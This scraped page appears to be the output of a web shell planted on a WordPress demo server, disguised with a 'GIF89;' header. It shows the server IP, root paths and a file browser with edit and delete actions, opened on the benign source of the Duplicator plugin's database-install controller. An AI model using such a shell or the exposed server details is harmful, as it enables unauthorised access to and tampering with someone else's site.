/var/www/html/demo/megastore.7uptheme.net/wp-admin/user/about.php

GIF89; /var/www/html/demo/megastore.7uptheme.net/wp-admin/user/about.php

CMS: WordPress Server IP: 176.31.116.194 Root: /var/www/html/demo/megastore.7uptheme.net Directory: var/www/html/demo/oga.7uptheme.net/wp-content/plugins/duplicator/installer/dup-installer/ctrls
File: /var/www/html/demo/oga.7uptheme.net/wp-content/plugins/duplicator/installer/dup-installer/ctrls/ctrl.s2.dbinstall.php <?php defined('ABSPATH') \|\| defined('DUPXABSPATH') \|\| exit; class DUPX_DBInstall { const USER_DEFINER_REPLACE_PATTERN = "/^(\s(?:\/\!\d+\s)?\s(?:CREATE.+)?DEFINER\s=)(\S+)(.)$/m"; const USER_DEFINER_REMOVE_PATTERN = "/^(\s(?:\/\!\d+\s)?\s(?:CREATE.+)?)(DEFINER\s=\s\S+)(.)$/m"; const SQL_SECURITY_INVOKER_PATTERN = "/^([\s\t]CREATE.+(?:PROCEDURE\|FUNCTION)[\s\S])(BEGIN)([\s\S])$/"; const SQL_SECURITY_INVOKER_REPLACE = "$1SQL SECURITY INVOKER\n$2$3"; const QUERY_ERROR_LOG_LEN = 200; private $dbh; private $post; public $sql_result_data; public $sql_result_data_length; public $dbvar_maxtime; public $dbvar_maxpacks; public $dbvar_sqlmode; public $dbvar_version; public $pos_in_sql; public $sql_file_path; public $sql_result_file_path; public $php_mem; public $php_mem_range; public $php_used_mem; public $table_count; public $table_rows; public $query_errs; public $root_path; public $drop_tbl_log; public $rename_tbl_log; public $dbquery_errs; public $dbquery_rows; public $dbtable_count; public $dbtable_rows; public $dbdelete_count; public $profile_start; public $profile_end; public $start_microtime; public $dbcollatefb; public $dbobj_views; public $dbobj_procs; public $dbobj_funcs; public $dbRemoveDefiner; public $dbFileSize = 0; public $dbDefinerReplace; public function __construct($post, $start_microtime) { $this->post = $post; $this->php_mem = $GLOBALS['PHP_MEMORY_LIMIT']; $this->php_used_mem = memory_get_usage(); $this->php_mem_range = 1024 * 1024; $this->root_path = $GLOBALS['DUPX_ROOT']; $this->sql_file_path = "{$GLOBALS['DUPX_INIT']}/dup-database__{$GLOBALS['DUPX_AC']->package_hash}.sql"; $this->sql_result_file_path = "{$GLOBALS['DUPX_INIT']}/{$GLOBALS['SQL_FILE_NAME']}"; $this->dbFileSize = @filesize($this->sql_file_path); //ESTABLISH CONNECTION $this->dbh = DUPX_DB::connect($post['dbhost'], $post['dbuser'], $post['dbpass']); ($this->dbh) or DUPX_Log::error(ERR_DBCONNECT.mysqli_connect_error()); if ($_POST['dbaction'] == 'empty' \|\| $post['dbaction'] == 'rename') { mysqli_select_db($this->dbh, $post['dbname']) or DUPX_Log::error(sprintf(ERR_DBCREATE, $post['dbname'])); } @mysqli_query($this->dbh, "SET wait_timeout = ".mysqli_real_escape_string($this->dbh, $GLOBALS['DB_MAX_TIME'])); @mysqli_query($this->dbh, "SET GLOBAL max_allowed_packet = ".mysqli_real_escape_string($this->dbh, $GLOBALS['DB_MAX_PACKETS'])); @mysqli_query($this->dbh, "SET max_allowed_packet = ".mysqli_real_escape_string($this->dbh, $GLOBALS['DB_MAX_PACKETS'])); $this->profile_start = isset($post['profile_start']) ? DUPX_U::sanitize_text_field($post['profile_start']) : DUPX_U::getMicrotime(); $this->start_microtime = isset($post['start_microtime']) ? DUPX_U::sanitize_text_field($post['start_microtime']) : $start_microtime; $this->dbvar_maxtime = DUPX_DB::getVariable($this->dbh, 'wait_timeout'); $this->dbvar_maxpacks = DUPX_DB::getVariable($this->dbh, 'max_allowed_packet'); $this->dbvar_sqlmode = DUPX_DB::getVariable($this->dbh, 'sql_mode'); $this->dbvar_version = DUPX_DB::getVersion($this->dbh); $this->dbvar_maxtime = is_null($this->dbvar_maxtime) ? 300 : $this->dbvar_maxtime; $this->dbvar_maxpacks = is_null($this->dbvar_maxpacks) ? 1048576 : $this->dbvar_maxpacks; $this->dbvar_sqlmode = empty($this->dbvar_sqlmode) ? 'NOT_SET' : $this->dbvar_sqlmode; $definerHost = $this->post["dbhost"] == "localhost" \|\| $this->post["dbhost"] == "127.0.0.1" ? $this->post["dbhost"] : '%'; $this->dbDefinerReplace = '$1' . addcslashes("`" . $this->post["dbuser"] . "`@`" . $definerHost . "`", '\\$') . '$3'; $this->dbquery_errs = isset($post['dbquery_errs']) ? DUPX_U::sanitize_text_field($post['dbquery_errs']) : 0; $this->drop_tbl_log = isset($post['drop_tbl_log']) ? DUPX_U::sanitize_text_field($post['drop_tbl_log']) : 0; $this->rename_tbl_log = isset($post['rename_tbl_log']) ? DUPX_U::sanitize_text_field($post['rename_tbl_log']) : 0; $this->dbquery_rows = isset($post['dbquery_rows']) ? DUPX_U::sanitize_text_field($post['dbquery_rows']) : 0; $this->dbdelete_count = isset($post['dbdelete_count']) ? DUPX_U::sanitize_text_field($post['dbdelete_count']) : 0; $this->dbcollatefb = isset($post['dbcollatefb']) ? DUPX_U::sanitize_text_field($post['dbcollatefb']) : 0; $this->dbobj_views = isset($post['dbobj_views']) ? DUPX_U::sanitize_text_field($post['dbobj_views']) : 0; $this->dbobj_procs = isset($post['dbobj_procs']) ? DUPX_U::sanitize_text_field($post['dbobj_procs']) : 0; $this->dbobj_funcs = isset($post['dbobj_funcs']) ? DUPX_U::sanitize_text_field($post['dbobj_funcs']) : 0; $this->dbRemoveDefiner = isset($post['db_remove_definer']) ? DUPX_U::sanitize_text_field($post['db_remove_definer']) : 0; } public function prepareDB() { //RUN DATABASE SCRIPT @mysqli_query($this->dbh, "SET wait_timeout = ".mysqli_real_escape_string($this->dbh, $GLOBALS['DB_MAX_TIME'])); @mysqli_query($this->dbh, "SET max_allowed_packet = ".mysqli_real_escape_string($this->dbh, $GLOBALS['DB_MAX_PACKETS'])); DUPX_DB::setCharset($this->dbh, $this->post['dbcharset'], $this->post['dbcollate']); //Will set mode to null only for this db handle session //sql_mode can cause db create issues on some systems switch ($this->post['dbmysqlmode']) { case 'DISABLE': @mysqli_query($this->dbh, "SET SESSION sql_mode = ''"); break; case 'CUSTOM': $dbmysqlmode_opts = $this->post['dbmysqlmode_opts']; $qry_session_custom = @mysqli_query($this->dbh, "SET SESSION sql_mode = '".mysqli_real_escape_string($this->dbh, $dbmysqlmode_opts)."'"); if ($qry_session_custom == false) { $sql_error = mysqli_error($this->dbh); $log = "WARNING: A custom sql_mode setting issue has been detected:\n{$sql_error}.\n"; $log .= "For more details visit: http://dev.mysql.com/doc/refman/5.7/en/sql-mode.html\n"; } break; } //Set defaults incase the variable could not be read $this->drop_tbl_log = 0; $this->rename_tbl_log = 0; $sql_file_size = DUPX_U::readableByteSize(@filesize("{$GLOBALS['DUPX_INIT']}/dup-database__{$GLOBALS['DUPX_AC']->package_hash}.sql")); $collate_fb = $this->dbcollatefb ? 'On' : 'Off'; DUPX_Log::info("--------------------------------------"); DUPX_Log::info('DATABASE-ENVIRONMENT'); DUPX_Log::info("--------------------------------------"); DUPX_Log::info("MYSQL VERSION:\tThis Server: {$this->dbvar_version} -- Build Server: {$GLOBALS['DUPX_AC']->version_db}"); DUPX_Log::info("FILE SIZE:\tdup-database__{$GLOBALS['DUPX_AC']->package_hash}.sql ({$sql_file_size})"); DUPX_Log::info("TIMEOUT:\t{$this->dbvar_maxtime}"); DUPX_Log::info("MAXPACK:\t{$this->dbvar_maxpacks}"); DUPX_Log::info("SQLMODE:\t{$this->dbvar_sqlmode}"); DUPX_Log::info("NEW SQL FILE:\t[{$this->sql_result_file_path}]"); DUPX_Log::info("COLLATE FB:\t{$collate_fb}"); if (version_compare($this->dbvar_version, $GLOBALS['DUPX_AC']->version_db) < 0) { DUPX_Log::info("\nNOTICE: This servers version [{$this->dbvar_version}] is less than the build version [{$GLOBALS['DUPX_AC']->version_db}]. \n" ."If you find issues after testing your site please referr to this FAQ item.\n" ."https://snapcreek.com/duplicator/docs/faqs-tech/#faq-installer-260-q"); } //CREATE DB switch ($this->post['dbaction']) { case "create": if ($this->post['view_mode'] == 'basic') { mysqli_query($this->dbh, "CREATE DATABASE IF NOT EXISTS `".mysqli_real_escape_string($this->dbh, $this->post['dbname'])."`"); } mysqli_select_db($this->dbh, mysqli_real_escape_string($this->dbh, $this->post['dbname'])) or DUPX_Log::error(sprintf(ERR_DBCONNECT_CREATE, $this->post['dbname'])); break; //DROP DB TABLES: DROP TABLE statement does not support views case "empty": //Drop all tables, views, funcs and procs $this->dropTables(); $this->dropViews(); $this->dropProcs(); $this->dropFuncs(); break; //RENAME DB TABLES case "rename" : $sql = "SHOW TABLES FROM `".mysqli_real_escape_string($this->dbh, $this->post['dbname'])."` WHERE `Tables_in_".mysqli_real_escape_string($this->dbh, $this->post['dbname'])."` NOT LIKE '".mysqli_real_escape_string($this->dbh, $GLOBALS['DB_RENAME_PREFIX'])."%'"; $found_tables = null; if ($result = mysqli_query($this->dbh, $sql)) { while ($row = mysqli_fetch_row($result)) { $found_tables[] = $row[0]; } if (count($found_tables) > 0) { foreach ($found_tables as $table_name) { $sql = "RENAME TABLE `".mysqli_real_escape_string($this->dbh, $this->post['dbname'])."`.`".mysqli_real_escape_string($this->dbh, $table_name)."` TO `".mysqli_real_escape_string($this->dbh, $this->post['dbname'])."`.`".mysqli_real_escape_string($this->dbh, $GLOBALS['DB_RENAME_PREFIX']).mysqli_real_escape_string($this->dbh, $table_name)."`"; if (!$result = mysqli_query($this->dbh, $sql)) { DUPX_Log::error(sprintf(ERR_DBTRYRENAME, "{$this->post['dbname']}.{$table_name}")); } } $this->rename_tbl_log = count($found_tables); } } break; } } public function getRowCountMisMatchTables() { $nManager = DUPX_NOTICE_MANAGER::getInstance(); $tableWiseRowCounts = $GLOBALS['DUPX_AC']->dbInfo->tableWiseRowCounts; $skipTables = array( $GLOBALS['DUPX_AC']->wp_tableprefix."duplicator_packages", $GLOBALS['DUPX_AC']->wp_tableprefix."options", $GLOBALS['DUPX_AC']->wp_tableprefix."duplicator_pro_packages", $GLOBALS['DUPX_AC']->wp_tableprefix."duplicator_pro_entities", ); $misMatchTables = array(); foreach ($tableWiseRowCounts as $table => $rowCount) { if (in_array($table, $skipTables)) { continue; } $sql = "SELECT count() as cnt FROM `".mysqli_real_escape_string($this->dbh, $table)."`"; $result = mysqli_query($this->dbh, $sql); if (false !== $result) { $row = mysqli_fetch_assoc($result); if ($rowCount != ($row['cnt'])) { $errMsg = 'DATABASE: table '.DUPX_Log::varToString($table).' row count mismatch; expected '.DUPX_Log::varToString($rowCount).' in database'.DUPX_Log::varToString($row['cnt']); DUPX_Log::info($errMsg); $nManager->addBothNextAndFinalReportNotice(array( 'shortMsg' => 'Database Table row count validation was failed', 'level' => DUPX_NOTICE_ITEM::SOFT_WARNING, 'longMsg' => $errMsg."\n", 'sections' => 'database' ), DUPX_NOTICE_MANAGER::ADD_UNIQUE_APPEND, 'row-count-mismatch'); $misMatchTables[] = $table; } } } return $misMatchTables; } public function writeInDB() { //WRITE DATA $fcgi_buffer_pool = 5000; $fcgi_buffer_count = 0; $counter = 0; if (!empty($sql_data)) { $this->sql_result_data = $sql_data; } $handle = fopen($this->sql_file_path, 'rb'); if ($handle === false) { return false; } $nManager = DUPX_NOTICE_MANAGER::getInstance(); @mysqli_autocommit($this->dbh, false); $query = null; $delimiter = ';'; while (($line = fgets($handle)) !== false) { if ('DELIMITER ;' == trim($query)) { $delimiter = ';'; $query = null; continue; } $query .= $line; if (preg_match('/'.$delimiter.'\s$/S', $query)) { $query_strlen = strlen(trim($query)); if ($this->dbvar_maxpacks < $query_strlen) { $errorMsg = "ERROR Query size limit [length={$this->dbvar_maxpacks}] [sql=".substr($this->sql_result_data[$counter], 0, 75)."...]"; $this->dbquery_errs++; $nManager->addNextStepNoticeMessage('QUERY ERROR: size limit' , DUPX_NOTICE_ITEM::SOFT_WARNING , DUPX_NOTICE_MANAGER::ADD_UNIQUE , 'query-size-limit-msg'); $nManager->addFinalReportNotice(array( 'shortMsg' => 'QUERY ERROR: size limit', 'level' => DUPX_NOTICE_ITEM::SOFT_WARNING, 'longMsg' => $errorMsg, 'sections' => 'database' )); DUPX_Log::info($errorMsg); } elseif ($query_strlen > 0) { $query = $this->nbspFix($query); $query = $this->applyQueryCollationFallback($query); $query = $this->applyQueryProcAndViewFix($query); // $query = $this->queryDelimiterFix($query); $query = trim($query); if (0 === strpos($query, "DELIMITER")) { // Ending delimiter // control never comes in this if condition, but written if ('DELIMITER ;' == $query) { $delimiter = ';'; } else { // starting delimiter $delimiter = substr($query, 10); $delimiter = trim($delimiter); } DUPX_Log::info("Skipping delimiter query"); $query = null; continue; } $result = @mysqli_query($this->dbh, $query); if ($result instanceof mysqli_result){ @mysqli_free_result($result); } $err = mysqli_error($this->dbh); //Check to make sure the connection is alive if (!empty($err)) { if (!mysqli_ping($this->dbh)) { mysqli_close($this->dbh); $this->dbh = DUPX_DB::connect($this->post['dbhost'], $this->post['dbuser'], $this->post['dbpass'], $this->post['dbname']); // Reset session setup @mysqli_query($this->dbh, "SET wait_timeout = ".mysqli_real_escape_string($this->dbh, $GLOBALS['DB_MAX_TIME'])); DUPX_DB::setCharset($this->dbh, $this->post['dbcharset'], $this->post['dbcollate']); } $errMsg = "ERROR database error write '{$err}' - [sql=".substr($query, 0, 75)."...]"; DUPX_Log::info($errMsg); if (DUPX_U::contains($err, 'Unknown collation')) { $nManager->addNextStepNotice(array( 'shortMsg' => 'DATABASE ERROR: database error write', 'level' => DUPX_NOTICE_ITEM::HARD_WARNING, 'longMsg' => 'Unknown collation<br>RECOMMENDATION: Try resolutions found at https://snapcreek.com/duplicator/docs/faqs-tech/#faq-installer-110-q', 'faqLink' => array( 'url' => 'https://snapcreek.com/duplicator/docs/faqs-tech/#faq-installer-110-q', 'label' => 'FAQ Link' ) ), DUPX_NOTICE_MANAGER::ADD_UNIQUE , 'query-collation-write-msg'); $nManager->addFinalReportNotice(array( 'shortMsg' => 'DATABASE ERROR: database error write', 'level' => DUPX_NOTICE_ITEM::HARD_WARNING, 'longMsg' => 'Unknown collation<br>RECOMMENDATION: Try resolutions found at https://snapcreek.com/duplicator/docs/faqs-tech/#faq-installer-110-q'.'<br>'.$errMsg, 'sections' => 'database', 'faqLink' => array( 'url' => 'https://snapcreek.com/duplicator/docs/faqs-tech/#faq-installer-110-q', 'label' => 'FAQ Link' ) )); DUPX_Log::info('RECOMMENDATION: Try resolutions found at https://snapcreek.com/duplicator/docs/faqs-tech/#faq-installer-110-q'); } else { $nManager->addNextStepNoticeMessage('DATABASE ERROR: database error write' , DUPX_NOTICE_ITEM::SOFT_WARNING , DUPX_NOTICE_MANAGER::ADD_UNIQUE , 'query-write-msg'); $nManager->addFinalReportNotice(array( 'shortMsg' => 'DATABASE ERROR: database error write', 'level' => DUPX_NOTICE_ITEM::SOFT_WARNING, 'longMsg' => $errMsg, 'sections' => 'database' )); } $this->dbquery_errs++; //Buffer data to browser to keep connection open } else { if ($fcgi_buffer_count++ > $fcgi_buffer_pool) { $fcgi_buffer_count = 0; } $this->dbquery_rows++; } } $query = null; $counter++; } } @mysqli_commit($this->dbh); @mysqli_autocommit($this->dbh, true); $nManager ->saveNotices(); //DATA CLEANUP: Perform Transient Cache Cleanup //Remove all duplicator entries and record this one since this is a new install. $dbdelete_count1 = 0; $dbdelete_count2 = 0; @mysqli_query($this->dbh, "DELETE FROM `".mysqli_real_escape_string($this->dbh, $GLOBALS['DUPX_AC']->wp_tableprefix)."duplicator_packages`"); $dbdelete_count1 = @mysqli_affected_rows($this->dbh); @mysqli_query($this->dbh, "DELETE FROM `".mysqli_real_escape_string($this->dbh, $GLOBALS['DUPX_AC']->wp_tableprefix)."options` WHERE `option_name` LIKE ('_transient%') OR `option_name` LIKE ('_site_transient%')"); $dbdelete_count2 = @mysqli_affected_rows($this->dbh); mysqli_query($this->dbh, "DELETE FROM `".mysqli_real_escape_string($this->dbh, $GLOBALS['DUPX_AC']->wp_tableprefix)."options` WHERE `option_name` = 'duplicator_usage_id'"); $dbdelete_count3 = @mysqli_affected_rows($this->dbh); $this->dbdelete_count += (abs($dbdelete_count1) + abs($dbdelete_count2) + abs($dbdelete_count3)); //Reset Duplicator Options if (DUPX_U::isTraversable($GLOBALS['DUPX_AC']->opts_delete)) { foreach ($GLOBALS['DUPX_AC']->opts_delete as $value) { mysqli_query($this->dbh, "DELETE FROM `".mysqli_real_escape_string($this->dbh, $GLOBALS['DUPX_AC']->wp_tableprefix)."options` WHERE `option_name` = '".mysqli_real_escape_string($this->dbh, $value)."'"); } } //Remove views from DB if (!$this->dbobj_views) { $this->dropViews(); DUPX_Log::info("DB VIEWS:\tdisabled"); } else { DUPX_Log::info("DB VIEWS:\tenabled"); } //Remove procedures from DB if (!$this->dbobj_procs) { $this->dropProcs(); DUPX_Log::info("DB PROCEDURES:\tdisabled"); } else { DUPX_Log::info("DB PROCEDURES:\tenabled"); } //Remove FUNCTIONS from DB if (!$this->dbobj_funcs) { $this->dropFuncs(); DUPX_Log::info("DB FUNCTIONS:\tdisabled"); } else { DUPX_Log::info("DB FUNCTIONS:\tenabled"); } } private function dropTables() { $sql = "SHOW FULL TABLES WHERE Table_Type != 'VIEW'"; $found_tables = null; if ($result = mysqli_query($this->dbh, $sql)) { while ($row = mysqli_fetch_row($result)) { $found_tables[] = $row[0]; } if ($found_tables != null && count($found_tables) > 0) { mysqli_query($this->dbh, "SET FOREIGN_KEY_CHECKS = 0;"); foreach ($found_tables as $table_name) { $sql = "DROP TABLE `".mysqli_real_escape_string($this->dbh, $this->post['dbname'])."`.`".mysqli_real_escape_string($this->dbh, $table_name)."`"; if (!$result = mysqli_query($this->dbh, $sql)) { DUPX_Log::error(sprintf(ERR_DROP_TABLE_TRYCLEAN, $table_name, $this->post['dbname'], mysqli_error($this->dbh))); } } $this->drop_tbl_log = count($found_tables); mysqli_query($this->dbh, "SET FOREIGN_KEY_CHECKS = 1;"); } } } private function dropProcs() { $sql = "SHOW PROCEDURE STATUS WHERE db='{$this->post['dbname']}'"; $found = array(); if ($result = mysqli_query($this->dbh, $sql)) { while ($row = mysqli_fetch_row($result)) { $found[] = $row[1]; } if (count($found) > 0) { $nManager = DUPX_NOTICE_MANAGER::getInstance(); foreach ($found as $proc_name) { $sql = "DROP PROCEDURE IF EXISTS `".mysqli_real_escape_string($this->dbh, $this->post['dbname'])."`.`".mysqli_real_escape_string($this->dbh, $proc_name)."`"; if (!$result = mysqli_query($this->dbh, $sql)) { $err = mysqli_error($this->dbh); $nManager->addNextStepNotice(array( 'shortMsg' => 'PROCEDURE CLEAN ERROR', 'level' => DUPX_NOTICE_ITEM::SOFT_WARNING, 'longMsg' => sprintf('Unable to remove PROCEDURE "%s" from database "%s".<br/>', $proc_name, $this->post['dbname']), 'longMsgMode' => DUPX_NOTICE_ITEM::MSG_MODE_HTML, ), DUPX_NOTICE_MANAGER::ADD_UNIQUE_APPEND, 'drop-proc-fail-msg'); $nManager->addFinalReportNotice(array( 'shortMsg' => 'PROCEDURE CLEAN ERROR: '.$err, 'level' => DUPX_NOTICE_ITEM::SOFT_WARNING, 'longMsg' => sprintf('Unable to remove PROCEDURE "%s" from database "%s".', $proc_name, $this->post['dbname']), 'longMsgMode' => DUPX_NOTICE_ITEM::MSG_MODE_HTML, 'sections' => 'database', )); DUPX_Log::info("PROCEDURE CLEAN ERROR: '{$err}'\n\t[SQL=".substr($sql, 0, self::QUERY_ERROR_LOG_LEN)."...]\n\n"); } } $nManager->addNextStepNotice(array( 'shortMsg' => 'PROCEDURE CLEAN ERROR', 'level' => DUPX_NOTICE_ITEM::SOFT_WARNING, 'longMsg' => sprintf(ERR_DROP_PROCEDURE_TRYCLEAN, mysqli_error($this->dbh)), 'longMsgMode' => DUPX_NOTICE_ITEM::MSG_MODE_HTML, ), DUPX_NOTICE_MANAGER::ADD_UNIQUE_PREPEND_IF_EXISTS, 'drop-proc-fail-msg'); } } } private function dropFuncs() { $sql = "SHOW FUNCTION STATUS WHERE db='{$this->post['dbname']}'"; if (($result = mysqli_query($this->dbh, $sql)) === false \|\| mysqli_num_rows($result) === 0) { return; } DUPX_Log::info("MYSQL RESULT: ".DUPX_Log::varToString($result)); DUPX_Log::info("NUMBER OF FUNCS: ".DUPX_Log::varToString(mysqli_num_rows($result))); $nManager = DUPX_NOTICE_MANAGER::getInstance(); while ($row = mysqli_fetch_row($result)) { $func_name = $row[1]; $sql = "DROP FUNCTION IF EXISTS `".mysqli_real_escape_string($this->dbh, $this->post['dbname'])."`.`".mysqli_real_escape_string($this->dbh, $func_name)."`"; if (!mysqli_query($this->dbh, $sql)) { $err = mysqli_error($this->dbh); $nManager->addNextStepNotice(array( 'shortMsg' => 'FUNCTION CLEAN ERROR', 'level' => DUPX_NOTICE_ITEM::SOFT_WARNING, 'longMsg' => sprintf('Unable to remove FUNCTION "%s" from database "%s".<br/>', $func_name, $this->post['dbname']), 'longMsgMode' => DUPX_NOTICE_ITEM::MSG_MODE_HTML, ), DUPX_NOTICE_MANAGER::ADD_UNIQUE_APPEND, 'drop-func-fail-msg'); $nManager->addFinalReportNotice(array( 'shortMsg' => 'PROCEDURE CLEAN ERROR: '.$err, 'level' => DUPX_NOTICE_ITEM::SOFT_WARNING, 'longMsg' => sprintf('Unable to remove FUNCTION "%s" from database "%s".', $func_name, $this->post['dbname']), 'longMsgMode' => DUPX_NOTICE_ITEM::MSG_MODE_HTML, 'sections' => 'database', )); DUPX_Log::info("FUNCTION CLEAN ERROR: '{$err}'\n\t[SQL=".substr($sql, 0, self::QUERY_ERROR_LOG_LEN)."...]\n\n"); } } $nManager->addNextStepNotice(array( 'shortMsg' => 'PROCEDURE CLEAN ERROR', 'level' => DUPX_NOTICE_ITEM::SOFT_WARNING, 'longMsg' => sprintf(ERR_DROP_FUNCTION_TRYCLEAN, mysqli_error($this->dbh)), 'longMsgMode' => DUPX_NOTICE_ITEM::MSG_MODE_HTML, ), DUPX_NOTICE_MANAGER::ADD_UNIQUE_PREPEND_IF_EXISTS, 'drop-func-fail-msg'); } private function dropViews() { $sql = "SHOW FULL TABLES WHERE Table_Type = 'VIEW'"; $found_views = null; if ($result = mysqli_query($this->dbh, $sql)) { while ($row = mysqli_fetch_row($result)) { $found_views[] = $row[0]; } if (!is_null($found_views) && count($found_views) > 0) { $nManager = DUPX_NOTICE_MANAGER::getInstance(); foreach ($found_views as $view_name) { $sql = "DROP VIEW `".mysqli_real_escape_string($this->dbh, $this->post['dbname'])."`.`".mysqli_real_escape_string($this->dbh, $view_name)."`"; if (!$result = mysqli_query($this->dbh, $sql)) { $err = mysqli_error($this->dbh); $nManager->addNextStepNotice(array( 'shortMsg' => 'VIEW CLEAN ERROR', 'level' => DUPX_NOTICE_ITEM::SOFT_WARNING, 'longMsg' => sprintf('Unable to remove VIEW "%s" from database "%s".<br/>', $view_name, $this->post['dbname']), 'longMsgMode' => DUPX_NOTICE_ITEM::MSG_MODE_HTML, ), DUPX_NOTICE_MANAGER::ADD_UNIQUE_APPEND, 'drop-view-fail-msg'); $nManager->addFinalReportNotice(array( 'shortMsg' => 'VIEW CLEAN ERROR: '.$err, 'level' => DUPX_NOTICE_ITEM::SOFT_WARNING, 'longMsg' => sprintf('Unable to remove VIEW "%s" from database "%s"', $view_name, $this->post['dbname']), 'longMsgMode' => DUPX_NOTICE_ITEM::MSG_MODE_HTML, 'sections' => 'database', )); DUPX_Log::info("VIEW CLEAN ERROR: '{$err}'\n\t[SQL=".substr($sql, 0, self::QUERY_ERROR_LOG_LEN)."...]\n\n"); } } $nManager->addNextStepNotice(array( 'shortMsg' => 'VIEW CLEAN ERROR', 'level' => DUPX_NOTICE_ITEM::SOFT_WARNING, 'longMsg' => sprintf(ERR_DROP_VIEW_TRYCLEAN, mysqli_error($this->dbh)), 'longMsgMode' => DUPX_NOTICE_ITEM::MSG_MODE_HTML, ), DUPX_NOTICE_MANAGER::ADD_UNIQUE_PREPEND_IF_EXISTS, 'drop-view-fail-msg'); } } } public function writeLog() { $nManager = DUPX_NOTICE_MANAGER::getInstance(); $nManager->saveNotices(); DUPX_Log::info("ERRORS FOUND:\t{$this->dbquery_errs}"); DUPX_Log::info("DROPPED TABLES:\t{$this->drop_tbl_log}"); DUPX_Log::info("RENAMED TABLES:\t{$this->rename_tbl_log}"); DUPX_Log::info("QUERIES RAN:\t{$this->dbquery_rows}\n"); $this->dbtable_rows = 1; $this->dbtable_count = 0; if ($result = mysqli_query($this->dbh, "SHOW TABLES")) { while ($row = mysqli_fetch_array($result, MYSQLI_NUM)) { $table_rows = DUPX_DB::countTableRows($this->dbh, $row[0]); $this->dbtable_rows += $table_rows; DUPX_Log::info("{$row[0]}: ({$table_rows})"); $this->dbtable_count++; } @mysqli_free_result($result); } DUPX_Log::info("Removed '{$this->dbdelete_count}' cache/transient rows"); if ($this->dbtable_count == 0) { DUPX_Log::info("NOTICE: You may have to manually run the installer-data.sql to validate data input. Also check to make sure your installer file is correct and the table prefix '{$GLOBALS['DUPX_AC']->wp_tableprefix}' is correct for this particular version of WordPress. \n"); } } public function getJSON($json) { $json['table_count'] = $this->dbtable_count; $json['table_rows'] = $this->dbtable_rows; $json['query_errs'] = $this->dbquery_errs; return $json; } private function applyQueryCollationFallback($query) { if (!empty($this->post['dbcolsearchreplace']) && $this->post['dbcollatefb']) { $collation_replace_list = json_decode(stripslashes($this->post['dbcolsearchreplace']), true); if ($collation_replace_list === null) { DUPX_Log::info("WARNING: Cannot decode collation replace list JSON.\n", 1); return; } if (!empty($collation_replace_list)) { if ($this->firstOrNotChunking()) { DUPX_Log::info("LEGACY COLLATION FALLBACK:\n\tRunning the following replacements:\n\t".stripslashes($this->post['dbcolsearchreplace'])); } foreach ($collation_replace_list as $val) { $replace_charset = false; if (strpos($val['search'], 'utf8mb4') !== false && strpos($val['replace'], 'utf8mb4') === false) { $replace_charset = true; } /* foreach ($this->sql_result_data as $key => $query) { / if (strpos($query, $val['search'])) { $query = str_replace($val['search'], $val['replace'], $query); $sub_query = str_replace("\n", '', substr($query, 0, 80)); DUPX_Log::info("\tNOTICE: {$val['search']} replaced by {$val['replace']} in query [{$sub_query}...]"); } if ($replace_charset && strpos($query, 'utf8mb4')) { $query = str_replace('utf8mb4', 'utf8', $query); $sub_query = str_replace("\n", '', substr($query, 0, 80)); DUPX_Log::info("\tNOTICE: utf8mb4 replaced by utf8 in query [{$sub_query}...]"); } / } */ } } } return $query; } private function applyQueryProcAndViewFix($query) { static $replaceRules = null; if (is_null($replaceRules)) { $replaceRules['patterns'] = array( self::USER_DEFINER_REPLACE_PATTERN, self::SQL_SECURITY_INVOKER_PATTERN ); $replaceRules['replaces'] = array( $this->dbDefinerReplace, self::SQL_SECURITY_INVOKER_REPLACE ); if ($this->dbRemoveDefiner) { //No need to run the definer replace if we are removing them $replaceRules['patterns'][0] = self::USER_DEFINER_REMOVE_PATTERN; $replaceRules['replaces'][0] = "$1 $3"; } } $fixedQuery = preg_replace($replaceRules['patterns'], $replaceRules['replaces'], $query); if ($fixedQuery !== $query) { DUPX_Log::info("REPLACED DEFINER/INVOKER IN QUERY: [sql=".$fixedQuery."]", DUPX_Log::LV_DEBUG); } return $fixedQuery; } private function delimiterFix($counter) { $firstQuery = trim(preg_replace('/\s\s+/', ' ', $this->sql_result_data[$counter])); $start = $counter; $end = 0; if (strpos($firstQuery, "DELIMITER") === 0) { $this->sql_result_data[$start] = ""; $continueSearch = true; while ($continueSearch) { $counter++; if (strpos($this->sql_result_data[$counter], 'DELIMITER') === 0) { $continueSearch = false; unset($this->sql_result_data[$counter]); $this->sql_result_data = array_values($this->sql_result_data); } else { $this->sql_result_data[$start] .= $this->sql_result_data[$counter].";\n"; unset($this->sql_result_data[$counter]); } } } } public function nbspFix($sql) { if ($this->post['dbnbsp']) { if ($this->firstOrNotChunking()) { DUPX_Log::info("ran fix non-breaking space characters\n"); } $sql = preg_replace('/\xC2\xA0/', ' ', $sql); } return $sql; } public function firstOrNotChunking() { return (!isset($this->post['continue_chunking']) \|\| $this->post['first_chunk']); } public function __destruct() { @mysqli_close($this->dbh); } }

Name	Size	Modify	Permissions	Actions
classes	dir	2022-05-26 05:42:32	755	U
ctrl.base.php	1.8 kb	2022-05-26 05:42:32	644	U E O D
ctrl.s1.php	256 b	2022-05-26 05:42:32	644	U E O D
ctrl.s2.base.php	9.1 kb	2022-05-26 05:42:32	644	U E O D
ctrl.s2.dbinstall.php	34.8 kb	2022-05-26 05:42:32	644	U E O D
ctrl.s2.dbtest.php	26.1 kb	2022-05-26 05:42:32	644	U E O D
ctrl.s3.php	1.8 kb	2022-05-26 05:42:32	644	U E O D
index.php	15 b	2022-05-26 05:42:32	644	U E O D